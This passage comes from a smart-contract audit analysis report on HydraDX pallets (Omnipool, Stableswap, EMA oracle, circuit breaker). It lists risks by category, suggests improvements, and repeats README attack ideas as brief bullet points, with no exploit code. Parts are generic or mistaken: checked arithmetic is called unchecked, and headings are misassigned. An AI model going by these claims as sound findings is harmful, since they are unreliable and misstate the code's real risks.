- **Unchecked Arithmetic Operations**: The use of unchecked arithmetic operations (`CheckedAdd` , `CheckedSub`) in the implementation of balance updates (`BalanceUpdate`) introduces technical risks. While these operations aim to prevent arithmetic overflow or underflow, there is still a risk of unexpected behavior if the checks fail or if the checks are not comprehensive.
- Integration Risks:
- **Compatibility Issues**: The integration of this contract with other systems or modules may pose risks related to compatibility, especially if different parts of the system handle balances differently or rely on different balance representations. Ensuring seamless integration and interoperability with other components of the system is crucial to mitigate these risks.

Stableswap

1. lib.rs:

- **Systemic Risks:**
- **Maximum Assets in Pool**: The contract has a maximum limit for the number of assets allowed in a pool (`MAX_ASSETS_IN_POOL`). Exceeding this limit could potentially cause systemic issues or unexpected behavior in the pool management logic.
- **Centralization Risks:**
- **AuthorityOrigin**: The `create_pool` function requires an origin that must be `T::AuthorityOrigin` , indicating a centralized authority responsible for creating pools. This centralization could lead to dependency risks if the authority is compromised or misuses its power.
- **Technical Risks:**
- **Amplification Range**: The contract specifies an amplification range (`AmplificationRange`), and the `update_amplification` function allows modifying the pool's amplification within this range. However, incorrect manipulation of amplification could introduce technical risks such as impermanent loss or instability in the pool's behavior.
- **Integration Risks:**
- **Asset Registry**: The contract relies on an asset registry (`T::AssetInspection`) to check if assets are correctly registered and retrieve asset decimals. Integration with this external registry introduces the risk of data inconsistency or reliance on external systems, which could impact the contract's functionality if the registry is unavailable or inaccurate.

2. **types.rs**:

- **Systemic Risks:**
- **Maximum Assets in Pool**: The contract specifies a maximum

number of assets allowed in a pool (`MAX_ASSETS_IN_POOL`). Exceeding this limit could lead to systemic issues or unexpected behavior in the pool management logic.

- **Centralization Risks:**
- **Authority Over Pool Creation:** The contract does not include explicit mechanisms for decentralized pool creation. The authority to create pools is not distributed among users or governed by a decentralized mechanism, potentially leading to centralization risks if the central authority misuses its power or becomes compromised.
- **Technical Risks:**
- **Asset Uniqueness Check:** The contract includes a function `has_unique_elements` to check for unique elements in a collection of assets. However, this function relies on the correct implementation of iterators and could introduce technical risks if not implemented correctly, potentially leading to incorrect pool configurations or unexpected behavior.
- **Integration Risks:**
- **Asset Decimals Retrieval:** The contract interacts with an external asset registry (`Pallet::<T>::retrieve_decimals`) to retrieve asset decimals. Integration with this external registry introduces the risk of data inconsistency or reliance on external systems, which could impact the contract's functionality if the registry is unavailable or inaccurate.

Stableswap Math

1. **math.rs:**

- **Systemic Risks:**
- **Convergence Issues:** The contract relies on iterative methods such

as Newton's formula for convergence, which might not converge properly if the number of iterations (`D` and `Y`) is insufficient. This lack of convergence can lead to incorrect calculations and potential loss of funds.

- **Centralization Risks**:
- **Amplification Parameter Adjustment**: The `calculate_amplification` function adjusts the amplification parameter based on block numbers. Depending on how this adjustment is governed, it could introduce centralization risks if controlled by a small number of entities or subject to manipulation.
- **Technical Risks**:
- **Numerical Precision**: The contract involves numerous calculations with fixed-point arithmetic and conversions between different numeric representations. Any miscalculations or inaccuracies in these operations could result in incorrect financial outcomes or vulnerabilities to attacks.
- **Iteration Limits**: The contract imposes limits on the number of iterations for certain iterative calculations (`MAX_Y_ITERATIONS` and `MAX_D_ITERATIONS`). If these limits are set too low, it may lead to premature termination of calculations, potentially resulting in inaccurate results or failed transactions.
- **Overflow/Underflow**: There are several arithmetic operations throughout the contract (`checked_add` , `checked_sub` , etc.) aimed at preventing overflow or underflow. However, if these checks are inadequate or incorrectly implemented, they could introduce vulnerabilities to arithmetic errors.
- **Input Validation**: The contract assumes valid input parameters in functions such as `calculate_out_given_in` , `calculate_in_given_out` , etc. Insufficient input validation could lead to unexpected behavior or vulnerabilities such as denial-of-

service attacks or manipulation of calculations.

- **Integration Risks:**
- **External Dependencies**: The contract relies on external crates and libraries (`num_traits` , `primitive_types` , `sp_arithmetic` , `sp_std` , etc.). Any vulnerabilities or changes in these dependencies could impact the security and functionality of the contract.
- **Interoperability**: If this contract interacts with other contracts or systems, there could be integration risks associated with data consistency, protocol compatibility, and security vulnerabilities in the interaction mechanisms.

2. **types.rs**:

- **Systemic Risks:**
- **Data Loss Risk**: While the contract defines a `is_zero` function to check if the reserve amount is zero, there are no measures in place to prevent or handle data loss or corruption. If reserve amounts are inadvertently set to zero or corrupted, it could lead to unexpected behavior or loss of funds.
- **Centralization Risks:**
- **Control over Reserves**: Depending on how the reserve amounts are managed and updated, there could be centralization risks if a small number of entities or controllers have the authority to modify these reserves. Centralized control over reserves could lead to manipulation or misuse, impacting the fairness and integrity of the system.
- **Technical Risks:**
- **Data Integrity**: There are no explicit checks or validations to ensure the integrity of reserve amounts or decimals. If reserve amounts

are manipulated or set incorrectly, it could lead to incorrect calculations or financial losses.

- **Data Conversion**: The contract provides conversion functions (`From`) to convert `AssetReserve` instances into `u128` values. However, there are no checks or safeguards to ensure the validity of these conversions, potentially leading to unexpected behavior or errors if used improperly.
- **Zero Balance Handling**: While the `is_zero` function checks if the reserve amount is zero, there are no explicit error-handling mechanisms if zero balance assets are encountered in calculations. This lack of error handling could lead to unexpected behavior or vulnerabilities in downstream processes or calculations.
- **Integration Risks**:
- **Dependency Risks**: The contract relies on external dependencies such as `num_traits` . Any vulnerabilities or changes in these dependencies could impact the security and functionality of the contract.
- **Interoperability**: If this contract is part of a larger system or interacts with other contracts or systems, there could be integration risks associated with data consistency, protocol compatibility, and security vulnerabilities in the interaction mechanisms.

EMA Oracle

1. **lib.rs**:

- **Systemic Risks**:
- **Data Loss Risk**: There's a potential risk of data loss if the accumulator storage encounters issues during write operations. If data is not properly stored or overwritten, it could lead to

inaccuracies or loss of historical information required for calculating oracle values accurately.

- **Centralization Risks**:
- **Control over Oracles**: The pallet seems to centralize the aggregation of oracle data, as it accumulates data from various sources into a single accumulator. Depending on how this data aggregation is managed, there could be centralization risks if a small number of entities or controllers have the authority to influence oracle values, potentially leading to manipulation or inaccuracies.
- **Technical Risks**:
- **Data Integrity**: The pallet relies on accurate data aggregation and calculation of oracle values. Any bugs or vulnerabilities in the data aggregation logic could lead to incorrect oracle values being reported, impacting the reliability and trustworthiness of the system.
- **Error Handling**: While error handling is implemented for certain scenarios, such as when liquidity amounts are zero, there might be other potential error scenarios that are not adequately handled, leading to unexpected behavior or vulnerabilities.
- **Dependency Risks**: The pallet relies on external dependencies such as `frame_support` and `sp_runtime`. Any vulnerabilities or changes in these dependencies could impact the security and functionality of the pallet.
- **Integration Risks**:
- **Dependence on Other Pallets**: The pallet relies on data ingestion from other pallets, such as the xyk pallet, through provided callback handlers. Any changes or issues in the integration with these pallets could affect the functionality and accuracy of oracle values reported by this pallet.

- **Protocol Compatibility**: As the pallet interacts with other modules or systems, there's a risk of compatibility issues or protocol mismatches, especially if the integration requirements or protocols change over time.

2. **types.rs**:

- **Systemic Risks**:
- **Dependency on External Systems**: The contract relies on external systems like `hydra_dx_math` and `hydradx_traits` for mathematical operations and trait implementations. Any failure or vulnerability in these dependencies could impact the contract's functionality.
- **Block Number Dependency**: The contract relies on block numbers for certain operations. Any disruption or inconsistency in block generation could affect the accuracy of data or trigger unexpected behavior.
- **Centralization Risks**:
- **Single Source of Truth**: The contract appears to centralize price, volume, and liquidity data. Depending on a single oracle or source for this critical information could lead to manipulation or inaccuracies if the oracle or source is compromised.
- **Vendor Lock-in**: The contract's dependency on specific libraries (`hydra_dx_math` and `hydradx_traits`) could create a centralization risk if these libraries are controlled by a single entity or if there are limited alternatives available.
- **Technical Risks**:
- **Algorithm Complexity**: The contract utilizes complex mathematical algorithms for calculating exponential moving averages and updating oracle entries. Complex algorithms increase the risk of implementation errors, which could lead to incorrect results or

vulnerabilities.

- **Data Type Safety**: The contract uses custom data types (`Price` , `Volume` , `Liquidity`) that may require careful handling to ensure type safety and prevent overflow or underflow vulnerabilities.
- **External Call Dependence**: The contract may rely on external calls to retrieve data or perform calculations. Dependency on external calls introduces risks such as network congestion, oracle failures, or malicious data feeds.
- **Integration Risks**:
- **Compatibility Issues**: Integrating this contract with other systems or smart contracts may pose compatibility challenges due to its reliance on specific libraries and data structures.
- **Versioning Concerns**: Changes to external dependencies or upgrades to the contract itself may introduce versioning conflicts or compatibility issues when integrating with existing systems.
- **Oracle Integration**: The contract's functionality heavily depends on oracle entries. Integrating with different oracles or upgrading the oracle system may require careful consideration and testing to ensure seamless integration and data consistency.

EMA Oracle Math

1. **math.rs**: Here's an analysis of the provided contract for systemic risks, centralization risks, technical risks, and integration risks:

    - **Systemic Risks**:
    - **Precision Loss**: The contract performs arithmetic operations on rational numbers (`EmaPrice` , `EmaVolume` , `EmaLiquidity`) with limited precision. Precision loss during calculations could lead to inaccuracies in the oracle values, especially over multiple iterations or when dealing with large numbers.

- **Iteration Dependency**: Certain functions in the contract, such as `iterated_price_ema` and `iterated_balance_ema`, rely on the number of iterations (`u32`) to calculate exponential moving averages. Dependency on iteration count introduces risks if iterations are miscounted or inconsistent, leading to incorrect results.
- **Centralization Risks**:
- **Dependency on External Libraries**: The contract depends on external libraries (`crate::fraction`, `crate::support`, `crate::transcendental`) for arithmetic operations and utility functions. Centralization risks arise if these libraries are controlled by a single entity or if there are limited alternatives available.
- **Single Source of Truth**: The contract centralizes oracle calculations for price, volume, and liquidity. Depending on a single source for critical calculations could lead to manipulation or inaccuracies if the source is compromised.
- **Integration Risks**:
- **Arithmetic Overflows**: The contract performs arithmetic operations on large numbers (`U512`) and may be susceptible to arithmetic overflow or underflow vulnerabilities if not handled properly. Saturating operations are used to mitigate this risk, but thorough testing is required to ensure correctness.
- **Precision Handling**: The contract uses shifting and rounding techniques to handle precision reduction. Mishandling precision reduction could lead to incorrect results or unexpected behavior, especially in edge cases or under extreme conditions.
- **Complex Arithmetic Logic**: The contract contains complex arithmetic logic for weighted averaging and exponential moving average calculations. Complex logic increases the risk of implementation errors, making the contract harder to maintain and

debug.

- **Integration Risks:**
- **Compatibility Challenges:** Integrating this contract with other systems or smart contracts may pose compatibility challenges due to its reliance on specific external libraries and data structures. Ensuring compatibility and consistency across different environments may require additional effort and testing.
- **External Dependency Management:** The contract relies on external dependencies for arithmetic operations and utility functions. Managing these dependencies, including versioning and updates, could introduce integration risks if not handled properly.
- **Interoperability Concerns:** Interacting with this contract from other smart contracts or systems may require careful consideration of data types and precision handling to ensure seamless integration and data consistency.

Circuit breaker

1. **lib.rs:**

    - **Systemic Risks:**
    - **Arithmetic Errors:** The contract performs arithmetic operations like addition, subtraction, multiplication, and division on balance types (`T::Balance`). Errors like overflow, underflow, and division by zero can lead to systemic risks if not handled properly, potentially disrupting the functioning of the entire system.
    - **Centralization Risks:**
    - **Whitelisted Accounts:** Certain accounts specified in `type WhitelistedAccounts` bypass checks for adding/removing liquidity. Centralizing control over these accounts poses centralization risks as they can influence liquidity operations

without standard checks, potentially favoring specific entities and impacting the fairness of the system.

- **Integration Risks:**
- **Origin Permissions:** The contract relies on the `TechnicalOrigin` to ensure the origin of certain calls. Technical permissions are crucial for maintaining the integrity of the system, but incorrect or insufficient origin checks can lead to technical risks such as unauthorized access or manipulation of critical parameters.
- **Integration Risks:**
- **External Contract Integration:** If this contract interacts with external contracts or systems, integration risks may arise. These risks include vulnerabilities in the external interfaces, dependencies on external systems' availability and correctness, and the potential for unforeseen interactions impacting the contract's behavior and security.

Suggestions

What could they have done better?

If we look at the test scope and content of the project with a systematic checklist, we can see which parts are good and which areas have room for improvement As a result of my analysis, those marked in green are the ones that the project has fully achieved. The remaining areas are the development areas of the project in terms of testing ;

Note: to view the provided image, please see the original submission here.

What ideas can be incorporated?

1. **Integration of Stableswap and Omnipool:**

- Explore opportunities to integrate the Stableswap AMM model with the Omnipool contract to provide users with additional trading functionalities, particularly for stablecoin trading pairs.
- Implement cross-contract calls between Stableswap and Omnipool contracts to enable seamless trading experiences for users looking to swap between stablecoins and other assets.

2. **Dynamic Fee Adjustment Mechanism**:

- Develop a dynamic fee adjustment mechanism that adjusts trading fees based on factors such as liquidity utilization, trading volume, and network congestion.
- Implement governance controls to allow token holders to vote on proposed fee adjustments, promoting community engagement and decentralization.

3. **Advanced Risk Management Strategies**:

- Introduce advanced risk management strategies such as impermanent loss protection mechanisms or dynamic capital allocation strategies to mitigate risks for liquidity providers.
- Explore options for integrating with decentralized insurance protocols to provide additional risk coverage for liquidity providers.

4. **Enhanced Oracle Integration**:

- Enhance the oracle integration to support multiple oracle providers and decentralized oracle networks, improving price accuracy and resilience against oracle failures or manipulation.
- Implement price aggregation mechanisms to obtain reliable and accurate price feeds from multiple independent oracles.

5. **Security Audits and Formal Verification**:

    - Conduct comprehensive security audits and formal verification processes to identify and mitigate potential security vulnerabilities and smart contract bugs.
    - Engage with reputable auditing firms and security experts to perform code reviews and penetration testing, ensuring the contracts' robustness and resilience against attacks.

Issues surfaced from Attack Ideas in README

General

- Circumvent any of the mitigation mechanisms (eg through a price manipulation).

Omnipool

- Sandwich attack on `add` / `remove` liquidity, since we do not have slippage limits on these transactions.
- Attack exploiting assets with different decimal counts.
- Price manipulation attacks.
    - Price manipulation sandwiching `add` or `remove` liquidity.
- Find the edges / limitations of our current attack prevention mechanisms (caps, withdrawal fees, trading fees).
- Large Omnipool LPs - extract value from other LPs by manipulating prices and withdrawing liquidity.
- Attacks via XCM (cross-chain messaging) - for example, fake minting on another parachain.
- DDOS via fees.

Stableswap

- Attack on stableswap as A (amplification) changes.
- Implications of having stablepool shares in the Omnipool - rounding, conversions, add/withdraw liquidity, IL from fees?
- Stableswap - manipulation via `withdraw_asset_amount` (`buy` / `add` liquidity), missing in Curve implementation.
- Stableswap - manipulation via `add_liquidity_shares` (`buy` / `add` liquidity), missing in Curve implementation.

Oracles

- Correct oracle price and liquidity update via Omnipool and Stableswap hooks.
- Oracle price manipulation.
    - What damage can be done? (withdrawal limits, DCA)

Circuit breaker

- Manipulating blocking `add` / `remove` liquidity.
- Manipulate trade volume limits.

LBP

- Attack on LBP taking advantage of exponent implementation.

Time spent

90 hours

Lambda (judge) commented:

> While the report contains some generic recommendations and errors (like

> most other reports), there are various good recommendations (many of which have been reported as separate issues); for instance, checking the convergence of Newton's method, centralization issues because of the amplification parameter changes, valid improvement suggestions, and good attack ideas.

Note: For full discussion, see here.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and rust developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top

An open organization | Twitter | Discord | GitHub | Blog | Newsletter | Media kit | Careers | code4rena.eth